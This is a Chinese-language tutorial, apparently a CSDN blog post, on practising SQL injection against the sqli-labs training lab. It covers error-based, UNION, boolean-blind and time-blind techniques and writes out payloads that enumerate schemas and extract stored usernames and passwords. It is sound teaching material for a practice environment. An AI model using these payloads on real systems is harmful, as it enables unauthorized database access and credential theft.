昆山网站建设公司苏州爬虫科技,wordpress副标题调用,wordpress表单收集,argo wordpress之前介绍了数据库的基本操作#xff0c;今天这篇文章就来实操SQL注入。
阅读本文前可以先看一下基本操作#xff0c;有助于更换理解本文。。。
https://blog.csdn.net/weixin_60885144/article/details/138356410?spm1001.2014.3001.5502
what
SQL---结构化查询语言---S…之前介绍了数据库的基本操作今天这篇文章就来实操SQL注入。
阅读本文前可以先看一下基本操作有助于更换理解本文。。。
https://blog.csdn.net/weixin_60885144/article/details/138356410?spm1001.2014.3001.5502
what
SQL---结构化查询语言---Structured Query Language :关系型数据库的标准语言
sql注入漏洞的产生需要满足以下两个条件 参数用户可控前端传给后端的参数内容是用户可以控制的 参数被带入数据库查询传入的参数被拼接到SQL语句中且被带入数据库中查询
SQL注入漏洞本质攻击者提交的正常参数能进入数据库中查询攻击者就能在正常参数后增加新的参数数据库反馈新的查询得到关键信息从而实现攻击----这个攻击行为叫拖库攻击 注入与回显
其实SQL注入方法还有很多也有很多划分以上介绍的是从挖掘技巧上划分。
1 SQL语句的报错回显
报错注入
2 SQL注入出数据的回显
2.1 内容直接打印在页面上
------Union select 存在回显点
回显点就是 SQL 查询正常结果显示在页面上位置有回显点的 SQL 注入叫做回显点注入正常回显点的回显内容就是数据库中字段的内容如账号密码等
盲注就是在sql注入过程中sql语句执行的选择后选择的数据不能回显到前端页面。此时我们需要利用一些方法进行判断或者尝试这个过程称之为盲注。
2.2 内容显示差异
------布尔盲注 逻辑正确与否会显示不同信息
2.3 显示内容无差别
------时间盲注
闭合符对SQL注入的影响
在解释sql注入原理前介绍闭合符是很有必要的通过闭合符对于payload(恶意代码)的构造极为重要。
闭合符就是可控参数(id index等)在SQL语句中左右两端的符号反映了SQL语句所处的环境也决定了payload的构造方法。
常见的闭合符单引号 双引号 括号 % 无符号等
根据符号的不同可以将SQL注入分为
整形注入---无闭合符
字符型注入---参数两端多单引号 有时双引号
SQL注入的本质就是打破原本传递数据区域的边界插入逻辑代码
搜索型注入---%代表任意数量的任意字符
In注入---用于指定多个可能的值进行匹配他们通过()包围起来
查询数据库信息函数 SCHEMA()与DATABASE()函数类似用于获取当前数据库的名称。 DATABASES()用于获取所有数据库的列表。 VERSION()用于获取当前MySQL服务器的版本信息。 USER()用于获取当前用户的用户名。 CURRENT_USER()用于获取当前用户的用户名和主机名。 CHARSET()用于获取当前数据库连接的字符集。 COLLATION()用于获取当前数据库连接的字符排序规则。 INFORMATION_SCHEMAMySQL提供了一个名为INFORMATION_SCHEMA的数据库其中包含了关于数据库、表、列等各种元数据信息的视图和表。你可以使用这些视图和表查询各种数据库信息例如 INFORMATION_SCHEMA.TABLES用于查询数据库中表的信息。INFORMATION_SCHEMA.COLUMNS用于查询表中列的信息。 length()返回字符串的长度 substr(str,pos,num) 截取指定位置指定长度的字符串 mid(str,pos,num) :截取指定位置指定长度的字符串 ascii() 查询ascii码中对应的值 char() 查询字符对应的ascii值 SQL注入的检测与攻击 报错注入---less-5
检测方法
在 SQL 注入的过程中若引起SQL语法错误数据库会抛出错误,网站的 Web 服务器开启了错误回显因此攻击者就能特意带入错误参数来让网站反馈信息。
攻击方法
攻击者可以通过错误回显将目标数据显示在网页上这需要搭配一些函数来输出 这里页面提示让我们输入数字当作参数id 代表参数部分的开始 id是参数名称 1是参数值
跟他照做发现回显了信息但是没有什么价值。 我们希望他能反馈的是sql语句的报错信息。于是我们就判断这个id参数的类型从而判断闭合符号如果是字符型那么加个肯定就显示报错信息。 这里可能不太理解为什么加入就会报错
这里给数据库的反馈是 selsect id from 表名 where id1
加进来的被当作了参数闭合符从而让原本的闭合符一个没了作用导致语法错误
那么如何让这个被分开的不会影响语法那么就把他变为注释
这里我们用-- (这里的➕在url中代表空格)
从‘-- 序列到行尾。请注意‘-- (双破折号)注释风格要求第2个破折号后面至少跟一个空格符 这样做看似无用功 因为我们需要的信息还是没有显示但是我们前面做的工作就是使得后续使用函数时不会出现 -----selsect id from 表名 where id1 and 函数 这种错误的语句。
此时是否能更好理解----
SQL注入的本质就是打破原本传递数据区域的边界插入逻辑代码 http://192.168.243.133/sqli-labs-php7-master/Less-5/ ?id1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- ---页面成功显示数据库信息为security
这里我们再介绍函数
a:updatexml---对xml文档的修改
updatexmlXML_documentXPath_stringnew_value
三个参数分别代表文档名称 文档路径 替换的新值
-----第一个参数最好为1乱写不一定好使第三个参数随便
路径里的concat(0x7e,database(),0x7e)0x4e是~的十六进制第一个0x4e是为了打破路径格式来语法错误第二个0x4e是为了显示信息时能有效分辨结束点可省略。
concat()函数就是做实这个错误路径
b:extractvalue---查询
extractvalueXML_documentxpath_string
当这两个函数在执行时如果出现xml文档路径错误就会产生报错----我们的目的就是让文档路径错误然后显示错误信息这里我们就能写入一些我们想得到的来以’错误‘的形式回显 ?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),0x7e ),1)-- ---显示数据库为security的表名没有group_concat会提示Subquery returns more than 1 row即返回了多行数据group_concat() 用于连接多行数据的值为一个字符串 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemasecurity),0x7e ),1)-- 这里得到了users数据表中得到三个字段
注在语句注入时不要忘记附加上一次得到的数据库的信息因为一个数据库服务器不只有一个数据库同样可能不只有一个名为users的表 这里就能列举出第一个密码了--这里也是不允许一次显示多行数据 ?id1 and updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e ),1)-- limit
注使用 LIMIT 子句来限定 SELECT 语句返回的行的数量
limit a,b ---a代表从从第a行开始节选在a行基础上节选ab行内容(a参数可选且默认为0)
即limit 1limit 0,1
union联合注入---less-1
what
在SQL注入中使用联合查询还可以获取其他表的数据。每个SELECT语句的字段不必完全相同但它们必须具有一致的列数(字段数)和对应的数据类型。 这里我们判断出id这个参数依然是字符型闭合符为单引号。
但是用错误注入的方法去请求数据库名称也能显示按说如果按照错误注入的方法也能得出账号密码但是本题都告诉我们了这些显示的账号密码本质都是存储在数据库中的字段对于的值所以就用这个场景来感受一下union联合注入
检测方法
若正常的逻辑输入会回显字段内容就判断此处由SQL注入漏洞
order by [number]
order by是mysql中对查询数据进行排序的方法 select * from 表名 order by 列名(或者数字) asc升序(默认升序) 使用 order by就能轻易发现select语句最大列数即字段数这是union联合注入成功的关键前提 两图比较 由此确定在执行sql语句的时候只select了3列 ?id-1 union select 1,2,3-- 这里为什么要把id设为-1 因为如果原本的语句正常执行了在页面回显的时候我联合查询的东西就会回显不出来(本题就是还会显示id1的内容)所以需要让第一个语句给他执行失败才能清楚回显点的位置。
图中我们可以判断虽然执行sql语句的时候select了3列但是只有两个字段内容回显在页面。
所以我们就可以在回显的字段内容改为我们想得到的信息 攻击方法
依次判断类型字段数回显点依次爆库名表名字段名数据
剩下内容与错误注入时的方法一样不再介绍
查询表名:union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--
查询列名:?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers --
查询数据?id-1 union select 1,username,password from security.users limit 1,2 --
布尔盲注---less-8
检测方法
布尔型变量bool 布尔型变量的值只有 真 true) 和假 false
通常用于无回显点又不能基于报错来读取数据的盲注中。只能通过构造payload去探测根据返回差异去推理。
若语句逻辑正确与否能回显不同内容此处就存在SQL注入漏洞 攻击方法
同理我们已经判断出参数id为字符型且闭合符
1.猜测数据库长度 id1 and length(database())8-- id0 or length(database())8--
爆破数据库名称长度试试二分法结合很快就能得到 2.爆破数据库名称
所谓爆破名称也只能是一个个字母猜上一步确定了8位意味着要重复八次
substr() 函数
返回字符串的一部分。-----substr(string,start,length)
可以用ascii码/字符结合二分法猜效果都一样---都是慢慢慢
?id0 or ascii(substr(database(),1,1))100-- true ?id0 or ascii(substr(database(),1,1))120-- false ?id0 or ascii(substr(database(),1,1))115-- true
---- ?id1 and substr(database(),1,1s)-- 所以我们可以借助burp suit去暴力破解 我们就一个个爆破吧我这是载入清单内容为字母大小写数字(我们本身也不知道数据库名由什么构成保险起见也可以加一些符号)发现s为数据库名称的第一个的正确字符且不区分大小写。
虽然知道八位但是也不能八位一起爆要不然急速炸弹下来排列了十亿的可能性
3.猜测表的数量 ?id1 and (select count(table_name) from information_schema.tables where table_schemadatabase())4-- 4.爆破表的名称 ?id1 and substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),1,1)e-- ---在记录所有表名信息的表中找数据库名称为‘security’的且只返回一行并且验证第一个字母是什么。 长度不爆了慢慢试超过长度自然任何情况都报错
5.猜测字段的数量 ?id1 and (select count(column_name) from information_schema.columns where table_schemasecurity and table_nameemails)2-- 6.爆破字段的内容 ?id1 and substr((select column_name from information_schema.columns where table_schemasecurity and table_nameemails limit 0,1),1,1)i-- 7.猜测字段内容的数量 ?id1 and (select count(email_id/id) from security.emails)8-- 8.爆破字段具体内容 id1 and substr((select email_id from security.emails limit 0,1),1,1)d-- 其实我们也没必要去猜测数量/长度我们用burp suit可以把字段内容的显示的第n行/第n个字母作为payload进行爆破 邮箱地址别忘了.
拼接---dumbdhakkan.com 时间盲注---less-9
what
通过判定响应时间是否延长来证明SQL注入漏洞是否存在。与布尔SQL攻击获取信息过程一致对于没有信息回显时的选择时间盲注通过if函数来造成差异。
检测方法
?id1 and sleep(3)-- ----若网站延迟3s返回信息则证明存在此处存在SQL注入漏洞
这里不仅是验证是否存在注入点同时也判断参数id的闭合符
if (判别式trueflase) 这一关不仅没有回显就连正确错误的语句都没办法在页面信息中区分因为查询结果仅仅用于应用程序的内部处理逻辑并不影响页面的输出内容。 所以之前的sql注入方法都不行只能通过查询数据库的延迟时间长短来判断逻辑语句的正确性。 3s3000ms 成功验证此处存在SQL注入漏洞 攻击方法 虽然页面没有任何信息变化但是我们看左上角标签页在加载状态且3s后就正常运行说明数据库长度为8执行了sleep(3)
---获取信息方法与布尔盲注一样不再演示